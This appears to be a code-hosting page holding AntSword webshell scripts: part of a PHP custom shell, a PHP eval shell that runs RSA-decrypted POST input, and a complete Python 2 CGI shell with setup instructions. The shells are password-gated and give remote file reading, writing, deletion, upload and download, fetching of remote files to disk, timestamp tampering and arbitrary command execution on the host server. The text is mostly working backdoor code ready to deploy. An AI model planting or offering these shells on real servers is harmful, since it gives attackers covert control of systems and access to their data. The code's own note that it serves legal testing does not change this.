$P = @fopen($F,"r");
$ret = (@fread($P,filesize($F)));
@fclose($P);
} catch (Exception $e) {
$ret = "ERROR://".$e;
}
return $ret;
}
function WriteFileCode($path, $content){
return @fwrite(fopen(($path),"w"),($content))?"1":"0";
}
function DeleteFileOrDirCode($fileOrDirPath){
function df($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
if((is_dir($pf))&&($f!=".")&&($f!="..")){
@chmod($pf,0777);
df($pf);
}
if(is_file($pf)){
@chmod($pf,0777);
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
$F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
if(is_dir($F)){
return (df($F));
}
else{
return (file_exists($F)?@unlink($F)?"1":"0":"0");
}
}
function DownloadFileCode($filePath){
$F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
}
}
function UploadFileCode($path, $content){
$f=$path;
$c=$content;
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
return (@fwrite(fopen($f,"a"),$buf)?"1":"0");
}
function CopyFileOrDirCode($path, $content){
$m=get_magic_quotes_gpc();
$fc=($m?stripslashes($path):$path);
$fp=($m?stripslashes($content):$content);
function xcopy($src,$dest){
if(is_file($src)){
if(!copy($src,$dest))
return false;
else
return true;
}
$m=@dir($src);
if(!is_dir($dest))
if(!@mkdir($dest))
return false;
while($f=$m->read()){
$isrc=$src.chr(47).$f;
$idest=$dest.chr(47).$f;
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
if(!xcopy($isrc,$idest))return false;
}else if(is_file($isrc)){
if(!copy($isrc,$idest))
return false;
}
}
return true;
}
return (xcopy($fc,$fp)?"1":"0");
}
function RenameFileOrDirCode($oldName, $newName){
$m=get_magic_quotes_gpc();
$src=(m?stripslashes($oldName):$oldName);
$dst=(m?stripslashes($newName):$newName);
return (rename($src,$dst)?"1":"0");
}
function CreateDirCode($name){
$m=get_magic_quotes_gpc();
$f=($m?stripslashes($name):$name);
return (mkdir($f)?"1":"0");
}
function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
$m=get_magic_quotes_gpc();
$FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
$TM=strtotime((m?stripslashes($newTime):$newTime));
if(file_exists($FN)){
return (@touch($FN,$TM,$TM)?"1":"0");
}else{
return ("0");
}
}
function WgetCode($urlPath, $savePath){
$fR=$urlPath;
$fL=$savePath;
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
return "1";
}else{
return "0";
}
}
function ExecuteCommandCode($cmdPath, $command){
$p=$cmdPath;
$s=$command;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
return ($ret!=0)?"ret={$ret}":"";
}
function probedb(){
$ret="";
$m=array(
'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
'sybase_close'
);
foreach ($m as $f) {
$ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
$ret.=("pdo_".$f."\t1\n");
}
}
return $ret;
}
function listcmd($binarr){
$ret="";
$arr=@explode(",", $binarr);
foreach($arr as $v){
$ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
}
return $ret;
}
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$funccode = EC($_REQUEST[$pwd]);
$z0 = decode(EC($_REQUEST['z0']));
$z1 = decode(EC($_REQUEST['z1']));
$z2 = decode(EC($_REQUEST['z2']));
$z3 = decode(EC($_REQUEST['z3']));
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
echo "->"."|";
$ret = "";
try {
switch ($funccode) {
case 'A':
$ret = BaseInfo();
break;
case 'B':
$ret = FileTreeCode($z1);
break;
case 'C':
$ret = ReadFileCode($z1);
break;
case 'D':
$ret = WriteFileCode($z1, $z2);
break;
case 'E':
$ret = DeleteFileOrDirCode($z1);
break;
case 'F':
DownloadFileCode($z1);
break;
case 'U':
$ret = UploadFileCode($z1, $z2);
break;
case 'H':
$ret = CopyFileOrDirCode($z1, $z2);
break;
case 'I':
$ret = RenameFileOrDirCode($z1, $z2);
break;
case 'J':
$ret = CreateDirCode($z1);
break;
case 'K':
$ret = ModifyFileOrDirTimeCode($z1, $z2);
break;
case 'L':
$ret = WgetCode($z1, $z2);
break;
case 'M':
$ret = ExecuteCommandCode($z1, $z2);
break;
case 'N':
$ret = showDatabases($z0, $z1);
break;
case 'O':
$ret = showTables($z0, $z1, $z2);
break;
case 'P':
$ret = showColumns($z0, $z1, $z2, $z3);
break;
case 'Q':
$ret = query($z0, $z1, $z2);
break;
case 'Y':
$ret = listcmd($z1);
break;
case 'Z':
$ret = probedb();
break;
default:
// $ret = "Wrong Password";
break;
}
} catch (Exception $e) {
$ret = "ERROR://".$e;
}
echo $ret;
echo "|"."<-";
?>
\ No newline at end of file
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP eval RSA Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
* pwd=ant
*/
$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
$cmd .= $de;
}
}
eval($cmd);
?>
\ No newline at end of file
#!/usr/bin/env python
# coding:utf-8
from __future__ import print_function
import os
import cgi
import time
import stat
import getpass
import base64
import binascii
import shutil
import urllib
import platform
import cgitb
import sys
cgitb.enable()
reload(sys)
sys.setdefaultencoding('utf-8')
VERSION = "0.0.2"
u'''
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
—————————————————————————————————————————————————
AntSword Python2 CGI Custom Script No DataBase
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
—————————————————————————————————————————————————
使用说明:
1. AntSword >= v1.1-dev, Python == 2.x
2. 创建 Shell 时选择 custom 模式连接
3. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
4. 本脚本不含数据库管理操作
使用方法:
1. 修改 PWD, ENCODER, ENCODE
2. 复制本脚本到 cgi-bin 目录下(根据中间件配置来定)
3. 赋予可执行权限 chmod +x xxx.py
CHANGELOG:
Date 2018/12/30 v0.0.2
1. 修复 windows 下命令执行参数问题
2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
3. 修复 windows 下获取当前用户获取不到时致命错误
Date 2018/12/29 v0.0.1
1. 文件系统 和 terminal 管理
2. 支持 hex 和 base64 编码器
3. 脚本内统一使用 unicode 编码来处理
'''
PWD = "ant" # 连接密码
ENCODER = "" # 编码器, 3选1
# ENCODER = "hex" # 推荐使用此编码器
# ENCODER = "base64"
ENCODE = "utf-8" # 字符编码
OUT_PREFIX = "->" + "|" # 数据分割前缀符
OUT_SUFFIX = "|" + "<-" # 数据分割后缀符
def Decoder(enstr):
u'''解码方法,解AntSword 编码器编码后的数据
@param enstr string 已经经过编码器编码的数据
@return ret string 解码后的数据
'''
if(ENCODER == "base64"):
return base64.b64decode(enstr)
elif (ENCODER == "hex"):
return binascii.a2b_hex(enstr)
else:
return enstr
def TimeStampToTime(timestamp):
timeStruct = time.localtime(timestamp)
return time.strftime(u'%Y-%m-%d %H:%M:%S',timeStruct)
def BaseInfo():
u'''获取系统基础信息
@return ret string Shell或网站根目录\t盘符\tuname信息\t当前用户
'''
ret = ""
d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
if(d == ""):
d = os.getcwd()
ret = "%s\t" % d
if(d.startswith('/')):
ret += "/"
else:
for L in range(ord('C'), ord('Z') + 1):
if(os.path.isdir("%s:" % chr(L))):
ret += "%s:" % chr(L)
ret += "\t"
ret += "%s\t" % ' '.join(platform.uname())
if platform.system().lower() == 'windows':
u = "Unknow" # windows 下没 pwd 使用 getpass.getuser 会出错
for name in ('LOGNAME','USER','LNAME','USERNAME'):
user = os.environ.get(name)
if user:
u = user
break
ret += u
else:
ret += getpass.getuser()
return ret
def FileTreeCode(d):
u'''获取指定目录下的文件和目录信息
@param d string 文件路径
@return ret string 文件名\t创建时间\t文件大小\t文件权限(RWX 或 8进制)
'''
ret = u""
# 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
if(os.path.exists(d.encode(ENCODE))):
for fname in os.listdir(d.encode(ENCODE)):
fname = fname.decode(ENCODE)
p = os.path.join(d, fname)
try:
fst = os.stat(p.encode(ENCODE))
name = fname
if stat.S_ISDIR(fst.st_mode):
name += "/"
ret += u"{}\t{}\t{}\t{}\n".format(name, TimeStampToTime(fst.st_mtime), fst.st_size, oct(fst.st_mode)[-4:])
except:
ret += u"{}\t{}\t{}\t{}\n".format(fname, TimeStampToTime(0), 0, 0)
else:
ret = "ERROR:// Path Not Found or No Permission!"
return ret.encode(ENCODE)
def ReadFileCode(fpath):
u'''获取指定路径文件内容
@param fpath string 文件路径
@return ret string 成功返回文件内容,失败抛出异常
'''
with open(fpath.encode(ENCODE), 'r') as fp:
return fp.read()
def WriteFileCode(path, content):
u'''向指定文件路径下写入content的内容
@param path string 文件路径
@param content string 文件内容(整个文件内容)
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
with open(path.encode(ENCODE), "w") as fp:
fp.write(content.encode(ENCODE))
return "1"
def DeleteFileOrDirCode(path):
u'''删除指定路径下的文件或目录
@param path string 文件或目录路径
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
if os.path.isdir(path.encode(ENCODE)):
shutil.rmtree(path.encode(ENCODE))
else:
os.remove(path.encode(ENCODE))
return "1"
def DownloadFileCode(path):
u'''下载指定路径的文件
@param path string 文件路径
@return None 直接在本方法内输出文件的二进制内容,失败则抛出异常
'''
with open(path.encode(ENCODE), 'r') as fp:
print(fp.read(),end='')
def UploadFileCode(path, content):
u'''上传文件
@param path string 文件路径 eg: /tmp/123
@param content hexstring 文件内容(分段) eg: 416e74 内容为 Ant
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
data = binascii.a2b_hex(content)
with open(path.encode(ENCODE), "a") as f:
f.write(data)
return "1"
def CopyFileOrDirCode(oldPath, newPath):
u'''复制文件或目录
@param oldPath string 原文件/目录路径 eg: /etc/passwd
@param newPath string 新文件/目录路径 eg: /tmp/passwd
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
if os.path.isdir(oldPath.encode(ENCODE)):
shutil.copytree(oldPath.encode(ENCODE), newPath.encode(ENCODE),symlinks=True)
else:
shutil.copy(oldPath.encode(ENCODE), newPath.encode(ENCODE))
return "1"
def RenameFileOrDirCode(oldPath, newPath):
u'''重命名文件或目录
@param oldPath string 原文件/目录路径 eg: /tmp/123
@param newPath string 新文件/目录路径 eg: /tmp/456
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
os.rename(oldPath.encode(ENCODE), newPath.encode(ENCODE))
return "1"
def CreateDirCode(path):
u'''新建目录
@param path string 新目录路径 eg: /tmp/123
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
os.makedirs(path.encode(ENCODE))
return "1"
def ModifyFileOrDirTimeCode(path, newTime):
u'''修改文件或目录的 最后一次修改时间
@param path string 文件/目录路径 eg: /tmp/123
@param newTime string 时间字符串 eg: 2018-12-12 20:48:54
@return ret string 成功返回 1 失败返回 0
'''
atime = int(time.mktime(time.strptime(newTime, '%Y-%m-%d %H:%M:%S')))
os.utime(path.encode(ENCODE), (atime, atime))
return "1"
def WgetCode(url, savepath):
u'''服务端 Wget
@param url string url 地址 eg: http://xxx.com/1.jpg
@param savepath string 文件路径 eg: /tmp/2.jpg
@return ret string 成功返回 1 失败返回 0
'''
urllib.urlretrieve(url, filename=savepath.encode(ENCODE))
return "1"
def ExecuteCommandCode(cmdPath, command):
u'''执行命令
@param cmdPath string 执行命令的shell路径 eg: /bin/sh
@param command string 执行的命令内容 eg: cd "/usr/";pwd;whoami
@return ret string 执行命令返回结果
'''
d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
if(d == ""):
d = os.getcwd()
cmd = []
if d[0] == "/":
cmd = [cmdPath, '-c', '%s' % command]
else:
cmd = '''%s /c "%s"''' % (cmdPath, command)
c_stdin, c_stdout, c_stderr = os.popen3(cmd)
c_stdin.close()
result = c_stdout.read()
c_stdout.close()
errmsg = c_stderr.read()
c_stderr.close()
return result + errmsg
def showDatabases(encode, conf):
u'''列出当前数据库系统下所有数据库
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@return ret string 执行结果, \t 为字段分割符
例如某连接下有3个数据库(mysql,test,information_schema),
则返回结果为:
mysql\ttest\tinformation_schema
'''
return "ERROR:// Not Implement"
def showTables(encode, conf, dbname):
u'''列出当前数据库下所有表
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param dbname string 数据库名 eg: mysql
@return ret string 执行结果, \t 为字段分割符
例如某数据库下有3张表(user,admin,member),则返回结果为:
user\tadmin\tmember
'''
return "ERROR:// Not Implement"
def showColumns(encode, conf, dbname, table):
u'''列出当前表下所有列
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param dbname string 数据库名 eg: mysql
@param table string 表名 eg: user
@return ret string 执行结果, \t 为字段分割符
例如某张表有3个字段(id,user,password), 则返回数据如下:
id\tuser\tpassword
'''
return "ERROR:// Not Implement"
def query(encode, conf, sql):
u'''执行 sql 语句
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param sql string 要执行的sql语句
@return ret string 执行结果, \t|\t 为列分割符, \r\n为行分割符, 第一行为列名
例如某张表有3个字段(id,user,password), 查询的结果有2条数据,则返回数据如下:
id\t|\tuser\t|\tpassword\r\n1\t|\tadmin\t|\t123456\r\n2\t|\tuser\t|\t123456\r\n
'''
return "ERROR:// Not Implement"
if __name__ == "__main__":
print("Content-Type: text/html;charset=%s" % ENCODE)
print()
print(OUT_PREFIX.decode(ENCODE), end='')
ret = ""
try:
form = cgi.FieldStorage()
funcode = form.getvalue(PWD)
z0 = Decoder(form.getvalue("z0","").decode())
z1 = Decoder(form.getvalue("z1","").decode())
z2 = Decoder(form.getvalue("z2","").decode())
z3 = Decoder(form.getvalue("z3","").decode())
if(funcode == "A"):
ret = BaseInfo()
elif(funcode == "B"):
ret = FileTreeCode(z1)
elif(funcode == 'C'):
ret = ReadFileCode(z1)
elif(funcode == 'D'):
ret = WriteFileCode(z1, z2)
elif(funcode == 'E'):
ret = DeleteFileOrDirCode(z1)
elif(funcode == 'F'):
DownloadFileCode(z1)
elif(funcode == 'U'):
ret = UploadFileCode(z1, z2)
elif(funcode == 'H'):
ret = CopyFileOrDirCode(z1, z2)
elif(funcode == 'I'):
ret = RenameFileOrDirCode(z1, z2)
elif(funcode == 'J'):
ret = CreateDirCode(z1)
elif(funcode == 'K'):
ret = ModifyFileOrDirTimeCode(z1, z2)
elif(funcode == 'L'):
ret = WgetCode(z1, z2)
elif(funcode == 'M'):
ret = ExecuteCommandCode(z1, z2)
elif(funcode == 'N'):
ret = showDatabases(z0, z1)
elif(funcode == 'O'):
ret = showTables(z0, z1, z2)
elif(funcode == 'P'):
ret = showColumns(z0, z1, z2, z3)
elif(funcode == 'Q'):
ret = query(z0, z1, z2)
else:
pass
except Exception, e:
ret = "ERROR:// %s" % getattr(e, 'strerror', str(e))
print(ret, end="")
print(OUT_SUFFIX.decode(ENCODE))
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment